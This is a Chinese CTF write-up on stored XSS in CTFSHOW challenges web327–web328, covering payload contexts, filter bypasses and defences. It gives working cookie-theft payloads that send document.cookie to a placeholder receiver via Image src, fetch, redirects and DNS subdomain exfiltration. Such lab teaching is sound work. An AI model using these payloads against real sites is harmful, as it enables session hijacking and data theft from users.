1. 项目概述从靶场实战到XSS漏洞的深度理解最近在带新人入门Web安全发现很多朋友对XSS跨站脚本攻击的理解还停留在“弹个窗”的层面。这其实挺危险的因为XSS的威力远不止于此它可以直接导致用户会话劫持、钓鱼攻击甚至结合其他漏洞形成杀伤链。为了让大家能有一个系统、安全的实战环境我决定带大家啃一啃CTFSHOW平台上“Web入门”系列中关于XSS的几道经典题目特别是web327到web328这两关。这两关的设计非常精妙它们没有停留在简单的反射型XSS验证上而是引入了存储型XSS和利用外部服务器窃取Cookie的完整攻击链模拟这正是从“知道”到“会用”的关键跨越。这个系列靶场的好处在于它把XSS攻击的“场景”和“后果”都给你搭建好了。你不需要去真实网站做违法测试就能在一个封闭、合法的环境里完整地走一遍攻击者从发现漏洞、构造Payload、到最终窃取敏感信息这里是模拟的Cookie的全过程。这对于理解XSS的危害性、防御的必要性以及安全开发中需要注意的细节有着不可替代的价值。无论你是刚接触安全的学生还是想巩固Web漏洞知识的开发者跟着这个靶场一步步操作、思考都能获得远超看理论文档的收获。接下来我会以web327和web328为例详细拆解其中的技术点、解题思路、每一步的操作细节以及背后涉及的原理。我会尽量还原我当时解题时的思考过程包括走过的弯路和突然的灵感并补充大量在真实渗透测试或代码审计中才会用到的技巧和注意事项。我们的目标不仅仅是“通关”更是要弄懂每一个环节的“为什么”从而在将来面对更复杂的场景时能够举一反三。2. 环境准备与靶场初步侦查在开始任何安全测试之前搭建一个稳定、隔离的测试环境是首要任务。对于CTF题目通常题目会提供一个在线访问链接。但为了更深入地理解我强烈建议你在本地使用Docker搭建CTFSHOW的靶场环境或者至少在一个虚拟机里进行操作。这样做有几个好处一是网络更稳定调试方便二是你可以随时查看后端源码如果提供的话加深理解三是你的所有操作都在自己的可控环境内绝对安全合规。假设我们已经获得了web327和web328的访问地址例如http://靶场IP:端口/web327。第一步永远不是直接上手注入而是进行信息收集也就是“侦查”。2.1 目标应用功能分析打开web327的页面我们首先需要像个普通用户一样去使用它理解它的核心功能。通常这类XSS靶场会是一个简单的留言板、博客评论系统或者个人信息提交页面。你需要关注以下几点输入点在哪里页面上有哪些可以输入文本的地方比如搜索框、留言框、用户名输入框等。数据流向如何你输入的内容提交后显示在哪里是立刻显示在下一页反射型还是被保存下来在其他页面或对其他用户显示存储型有无过滤或防护尝试输入一些特殊字符比如,,,观察页面返回的结果。这些字符是被原样输出变成了HTML实体如变为lt;还是直接被过滤删除了以我的经验对于入门靶场web327很可能是一个存储型XSS的模拟场景。比如它可能是一个“便签”或“备忘录”应用你提交的内容会被存储并在一个独立的页面如view.php?id你的便签ID中展示出来。这种场景下XSS的Payload会被存储到数据库任何访问该便签查看页面的人都会触发危害范围更广。2.2 开发者工具与初步测试现代浏览器的开发者工具F12是安全测试的“瑞士军刀”。在初步测试时我会重点关注以下几个面板元素Elements查看提交后我们的输入被放置在HTML结构的哪个位置。是被放在div的文本内容里还是被放入了某个标签的属性如input value”你的输入”里这直接决定了我们后续构造Payload的策略。控制台Console查看是否有JavaScript错误。有时我们注入的脚本因为语法错误或上下文问题无法执行控制台会给出线索。网络Network观察提交表单时的HTTP请求通常是POST请求。查看请求参数名、格式以及服务器的响应。有时关键的反饋信息如过滤提示不在页面显示而在响应头或响应体里。进行初步测试时我会用一个简单的测试Payloadscriptalert(1)/script。如果成功弹窗说明存在非常基础的XSS漏洞。但CTF题目绝不会这么简单。更可能的情况是这个Payload被过滤了。这时你需要观察过滤的规律是过滤了script标签还是过滤了alert关键字或者是将和转换成了实体一个更安全、信息量更大的测试Payload是“img srcx onerroralert(1)。这个Payload试图闭合前一个HTML标签的属性并插入一个新的img标签利用onerror事件执行JS。即使它不成功通过查看它被处理后的HTML源码你也能获得大量关于过滤规则的信息。3. web327 存储型XSS漏洞的挖掘与利用经过初步侦查我们假设web327是一个存储型XSS场景。我们的目标不仅仅是弹窗而是窃取管理员的Cookie在CTF中Cookie里通常包含flag。题目往往会模拟一个“管理员”会定期查看用户提交内容的情景。3.1 漏洞点定位与过滤绕过首先找到存储型XSS的输入点并提交内容。假设是一个留言框我们提交内容后得到一个查看链接如http://靶场地址/view.php?note_id123。访问这个链接我们提交的内容被展示出来。关键步骤来了查看页面HTML源码右键 - 查看页面源代码精确找到我们的输入被嵌入的位置。常见的情况有几种在HTML标签体内div [我们的输入] /div在HTML标签属性内input typetext value[我们的输入]在JavaScript字符串内scriptvar note [我们的输入];/script每种情况对应的Payload构造方式截然不同。情况1在HTML标签体内这是最简单的情况。如果输入直接插入到div等标签内部且没有过滤、那么直接插入script标签或利用其他标签的事件属性如img onerror即可。但靶场通常会过滤script。这时可以尝试其他可执行JavaScript的HTML标签img src1 onerroralert(1)(需要图片加载失败)svg onloadalert(1)body onloadalert(1)(如果我们可以控制body标签属性但通常不能)iframe srcjavascript:alert(1)(注意现代浏览器对javascript:协议在iframe中限制很严)使用HTML5新标签如audiovideo的onerror事件有时能绕过一些基于黑名单的过滤器。情况2在HTML标签属性内例如输入被放在input value”我们的输入”里。我们首先要做的是逃逸出value属性的引号包围。假设属性是用双引号包裹的Payload可以构造为“scriptalert(1)/script。这个Payload先闭合前面的双引号然后闭合input标签再插入我们自己的恶意标签。 如果属性是用单引号包裹则Payload为‘scriptalert(1)/script。 如果引号被过滤我们可以尝试不闭合引号直接使用事件处理器但需要确保没有空格和引号onfocusalert(1) autofocus。然后我们需要让这个input获得焦点来触发onfocus事件autofocus属性可以帮我们做到在支持HTML5的浏览器中。所以完整Payload可能是onfocusalert(1) autofocus。当页面加载这个input自动获得焦点时脚本就执行了。情况3在JavaScript字符串内这是比较棘手但也很常见的情况。例如scriptvar data ‘用户输入’; /script。我们的输入被放在单引号字符串里。我们需要先闭合字符串和语句然后注入新的JS代码最后注释掉后面的内容以避免语法错误。 假设原代码是scriptvar data ‘[我们的输入]‘; /script我们的Payload可以是’; alert(1); //注入后变成scriptvar data ‘’; alert(1); //‘; /script这样我们先用’闭合了字符串用;结束了var data ‘’这条语句然后插入我们的alert(1)语句最后用//注释掉后面原本的’;避免语法错误。实操心得模糊测试与规律总结在实际测试中我们往往不知道具体的过滤规则。这时我会采用“模糊测试”的方法。准备一个测试用例列表从小到大从简单到复杂地提交提交字母数字确认功能正常。提交单个特殊字符,,”,’,,;,(,)。提交简单组合script,alert,onerror。观察每次提交后返回页面的源码中我们的输入变成了什么。是原样被删除被编码被替换成其他字符 通过对比分析就能逐步摸清后端过滤或编码的逻辑。例如发现script被整体删除但img还在那么可能就是黑名单过滤了script关键字。如果和被变成lt;和gt;那就是HTML实体编码。3.2 构造窃取Cookie的Payload在CTF中证明XSS漏洞存在弹窗只是第一步关键是要利用它窃取目标通常是模拟的管理员的Cookie。这就需要我们的Payload能够将Cookie发送到我们可控的服务器上。我们不能直接用alert(document.cookie)然后把Cookie手动记下来因为题目中的“管理员”是模拟的机器人我们看不到它的浏览器弹窗。所以我们需要让受害者的浏览器主动向我们的服务器发起一个网络请求并将Cookie作为请求参数或路径的一部分带过来。搭建接收服务器首先你需要一个能从公网访问的服务器来接收数据。对于CTF练习和教学强烈推荐使用一些在线的请求Bin服务如RequestBin.com、WebHook.site或Burp Suite Collaborator功能最强大。这些服务会给你一个临时的URL任何发送到这个URL的请求包括其方法、头信息、参数、来源IP等都会被详细记录并展示给你看。这比自己去租用服务器再配置Web服务方便太多了。以RequestBin为例你创建一个Bin会得到一个类似https://xxxxxxxxx.x.pipedream.net的URL。这就是你的接收地址。构造窃取Cookie的JavaScript代码核心思路是让受害者的浏览器加载一个指向我们接收地址的URL并将document.cookie作为URL的一部分附加上去。 最常用的方法是使用Image对象的src属性或者发起一个fetch/XMLHttpRequest请求。使用Image对象兼容性最好new Image().src ‘http://你的接收地址/steal?cookie‘ encodeURIComponent(document.cookie);这段代码会创建一个隐藏的图片元素并尝试加载一个图片。浏览器会向这个地址发起一个GET请求。我们将Cookie作为查询参数cookie的值传递过去。encodeURIComponent是为了对Cookie值进行URL编码防止特殊字符如分号;破坏URL结构。使用fetch API更现代fetch(‘http://你的接收地址/steal’, {method: ‘POST’, body: document.cookie});这种方式可以发送POST请求将Cookie放在请求体中稍微隐蔽一些。将JS代码嵌入XSS Payload假设我们经过测试发现可以通过img标签的onerror事件执行JS且没有过滤document.cookie和http://。 那么最终的存储型XSS Payload可能长这样img src”invalid_image” onerror”var imgnew Image();img.src’http://你的接收地址/?c‘encodeURIComponent(document.cookie);”或者更简洁的写法img srcx onerror”this.src’http://你的接收地址/?c‘document.cookie”注意第二种写法可能因为尝试将img的src设置为一个非图片URL而导致循环触发onerror在某些浏览器上可能有问题第一种更稳定。提交这个Payload到web327的存储功能中。然后我们模拟管理员或者等待靶场后台的机器人访问我们存储了Payload的页面。一旦访问受害者的浏览器就会执行我们的脚本向我们的接收地址发送带有其Cookie的请求。回到RequestBin页面刷新你应该能看到一条新的请求记录在查询参数中就能找到c参数其值就是窃取到的Cookie。在CTF中这个Cookie里往往就包含了flag格式可能是flag{xxxxxx}或者是一个特定的session值你需要将其提交到答题框。4. web328 进阶利用与外部资源协作web328很可能在web327的基础上增加了难度。可能的升级方向包括过滤更加严格可能过滤了onerror、onload等常见事件处理器或者过滤了http://、https://甚至过滤了圆括号()或点号.。输出点更加隐蔽可能不在直接的HTML内容中而是在JavaScript代码的某个深层变量里需要更精巧的闭合与注入。引入CSP内容安全策略CSP是防御XSS的利器它会限制页面可以加载哪些外部资源、执行哪些内联脚本。如果题目设置了严格的CSP我们之前直接内联JS或从外部加载脚本的方法可能会失效。4.1 应对严格过滤的编码与混淆技巧当关键字符被过滤时我们需要对Payload进行编码或混淆以绕过过滤。HTML实体编码绕过如果后端在输出时只对和进行了HTML实体编码但对标签属性内的内容没有进行足够的过滤我们可能无法直接插入新标签。但有时浏览器在解析HTML时会先进行HTML解码然后再执行JavaScript。这意味着我们可以将Payload用HTML实体编码后注入如果后端没有二次解码它会被当作文本显示但如果它被放入一个能够动态解析HTML的地方比如innerHTML属性或者某些JS函数的参数里浏览器可能会解码并执行它。 例如的实体是lt;是gt;。但这种方式在纯HTML上下文绕过直接输出过滤的场景比较少见更多用于特定框架的解析特性。JavaScript编码绕过当我们的输入最终会进入script标签内的JavaScript上下文时我们可以利用JavaScript自身的编码能力。Unicode转义任何字符都可以用\uXXXX十六进制的形式表示。例如alert(1)可以写成\u0061\u006c\u0065\u0072\u0074(1)。如果后端只是进行简单的关键字字符串匹配可能无法识别这种形式。String.fromCharCode将字符串转换为ASCII码数组再还原。alert可以写成String.fromCharCode(97, 108, 101, 114, 116)。这样Payload里就没有直接的alert字符串了。 一个组合的例子scripteval(String.fromCharCode(97,108,101,114,116,40,49,41))/script等价于scriptalert(1)/script。利用不常用的标签和事件如果img、onerror被禁可以尝试其他标签和事件组合svgscriptalert(1)/script/svg(SVG内部允许script标签)details ontogglealert(1)并配合open属性或者用其他方式触发ontoggle。input onfocusalert(1) autofocus如前所述。videosource onerroralert(1)。4.2 无外部HTTP请求的Cookie窃取思路如果题目过滤了所有能发起网络请求的关键字如http、fetch、Image、src、XMLHttpRequest或者设置了严格的CSP禁止连接外部域我们该怎么办在真实的受限环境或一些CTF难题中确实会遇到这种情况。思路一利用页面跳转如果允许如果location、window.open没有被过滤可以尝试让页面跳转到一个我们控制的、且能记录Referer或路径参数的地址。虽然不能直接发送POST请求体但可以将Cookie放在URL的Fragment哈希部分。location.href ‘http://你的接收地址/‘ document.cookie;但请注意跳转会离开当前页面非常明显。且如果CSP限制了connect-src或default-src跳转到外部域也可能被阻止。思路二利用现有表单CSRF思路如果页面上存在一个可以提交到外部地址的表单我们可以用JavaScript自动填充表单的隐藏字段值为Cookie并自动提交表单。这相当于发起一个POST请求将Cookie发送出去。但这需要页面本身有这样一个表单可遇不可求。思路三DNS外带数据高阶技巧这是一种非常隐蔽的方法即使CSP限制了HTTP连接但DNS查询通常是不受限制的。我们可以让浏览器尝试加载一个包含Cookie信息的特定子域名图片从而触发一次DNS查询我们的DNS服务器就能收到这个带外信息。 Payload示例img src”http://‘ document.cookie ‘.你的域名/“如果受害者的Cookie是sessionabc123那么浏览器会尝试加载http://sessionabc123.你的域名/这个URL。在发起HTTP请求前浏览器会先解析sessionabc123.你的域名这个主机名的IP地址从而向DNS服务器发起查询。我们在自己的DNS服务器日志中就能看到这次对sessionabc123.你的域名的查询记录从而获取Cookie。 这种方法实现门槛较高需要你拥有一个域名并配置DNS服务器的日志记录功能。在一些CTF比赛中可能会提供这种外带通道的模拟环境。对于web328我们需要根据题目具体的过滤情况灵活组合上述技巧。首先还是重复web327的侦查步骤精确判断过滤规则然后尝试用编码、冷门标签事件、甚至DNS外带等方法构造出能够成功执行并将Cookie送出的最终Payload。5. 漏洞挖掘与利用的通用流程与防御思考通过web327和web328的实战我们可以总结出一套针对存储型XSS的通用测试与利用流程识别输入点与输出点找到所有用户可控输入并最终会显示在页面上的地方。判断上下文通过查看源码确定输入被嵌入到HTML的哪个上下文HTML体、属性、JS字符串、CSS等。测试过滤机制使用递增的测试Payload进行模糊测试摸清后端过滤、编码、转义的规则。构造试探Payload根据上下文和过滤规则构造一个能证明漏洞存在的Payload如弹窗。构造利用Payload将证明性的Payload升级为具有实际危害的利用Payload如窃取Cookie、发起请求等。交付与触发对于存储型XSS提交Payload并等待受害者管理员、其他用户触发。对于反射型XSS需要构造恶意链接并诱骗受害者点击。接收与验证通过外部服务器或日志确认是否成功接收到敏感信息。作为开发者如何防御从攻击者的视角走一遍就是为了更好地防御。针对我们上面利用的漏洞防御措施包括输入验证与过滤在服务端对用户输入进行严格的、基于白名单的验证。但要注意过滤不能完全依赖因为很容易被绕过。输出编码这是最根本、最有效的措施。根据数据输出的上下文采用正确的编码方式。在HTML文本上下文使用HTML实体编码如将转为lt;。在HTML属性上下文除了HTML实体编码还要注意属性值用引号包裹。在JavaScript上下文使用JavaScript编码如\uXXXX但更好的做法是避免将用户输入直接放入script标签而是通过安全的API如textContent来操作DOM。在URL上下文进行URL编码。使用CSP部署严格的内容安全策略限制脚本只能从可信来源加载禁止内联脚本执行。这能极大增加XSS攻击的难度。设置HttpOnly Cookie给敏感的Cookie如会话ID标记HttpOnly属性这样JavaScript就无法通过document.cookie读取它从根本上杜绝Cookie窃取。框架的安全特性使用现代前端框架如React, Vue, Angular时它们通常有内置的XSS防护机制例如默认对插值表达式进行转义。但开发者仍需注意安全地使用dangerouslySetInnerHTMLReact或v-htmlVue这类危险API。6. 实战中常见问题与排查技巧即使理论清晰实战中还是会遇到各种“坑”。这里记录几个我踩过的坑和解决方法问题1Payload提交了但查看页面没有任何反应。排查首先F12打开开发者工具查看“控制台”是否有JavaScript报错。常见错误有“Unexpected token”、“Uncaught SyntaxError”等这通常是因为Payload构造有语法问题比如字符串没有正确闭合。排查在“元素”面板里找到你的输入被渲染后的样子。可能你的和被编码成了实体导致浏览器没有将其解析为标签。也可能你的Payload被截断了或者某些关键词被替换成了空字符串。技巧使用一个极简的Payload先测试比如仅仅是一个HTML标签h1test/h1看它能否被正确渲染为标题。如果不能说明存在基础的HTML过滤或编码。问题2弹窗成功了但窃取Cookie的Payload没收到请求。排查检查你的接收地址RequestBin URL是否正确是否还在有效期内有些服务过期很快。排查检查Payload中的接收地址是否书写正确特别是协议http://或https://和域名。排查在Payload中增加一个明显的成功提示比如alert(‘Payload executed!’)放在窃取Cookie的代码之前。如果这个弹窗出现了但请求没发出说明是网络请求部分出了问题。可能是CSP阻止了也可能是Image对象创建失败。可以尝试换成fetch或XMLHttpRequest并在控制台查看错误信息。技巧将窃取Cookie的代码封装在try-catch块里把错误信息通过alert弹出来方便调试img onerror”try{…窃取代码…}catch(e){alert(e.message)}”。问题3Cookie成功窃取到了但里面没有flag。排查确认你窃取的是否是当前页面的Cookie。有些网站的flag可能放在HTTP响应头里或者存储在localStorage、sessionStorage中而不是document.cookie里。排查题目可能要求你窃取的是“管理员”的Cookie而你测试时用的是自己的Cookie。确保你的Payload已经被存储并且是由模拟的管理员身份或另一个浏览器会话去触发的。技巧除了Cookie可以尝试窃取更多的信息比如页面的完整HTML源码document.documentElement.outerHTML、localStorageJSON.stringify(localStorage)等或许flag就藏在其中。问题4遇到非常严格的过滤感觉无从下手。思路回归本源重新仔细阅读页面源码。有时漏洞点不在主功能里而在一些隐蔽的地方比如错误信息页面、文件上传后的文件名显示、URL参数的重定向跳转页面等。思路考虑“非典型”的XSS。比如基于DOM的XSS漏洞可能出现在前端JavaScript处理location.hash、document.referrer或URL其他部分的过程中。这时Payload可能不需要经过服务器端直接在客户端就被解析执行了。思路利用字符编码的“变形”能力。除了之前提到的Unicode、JS编码还可以考虑利用浏览器的“UTF-7”编码等非常规方式或者利用HTML/JS解析器的特性如换行符、制表符在某些上下文里可以替代空格。最后XSS漏洞的挖掘和利用是一个需要耐心、细心和创造力的过程。CTFSHOW的web327-web328提供了一个绝佳的练习场它模拟了从简单到相对复杂的真实场景。通过反复练习你将不仅掌握Payload的构造技巧更能深刻理解数据在Web应用中的流动路径和安全边界在哪里被打破这才是提升安全能力的核心。在真实环境中进行安全测试时请务必确保你拥有目标的明确授权遵守法律法规和道德规范。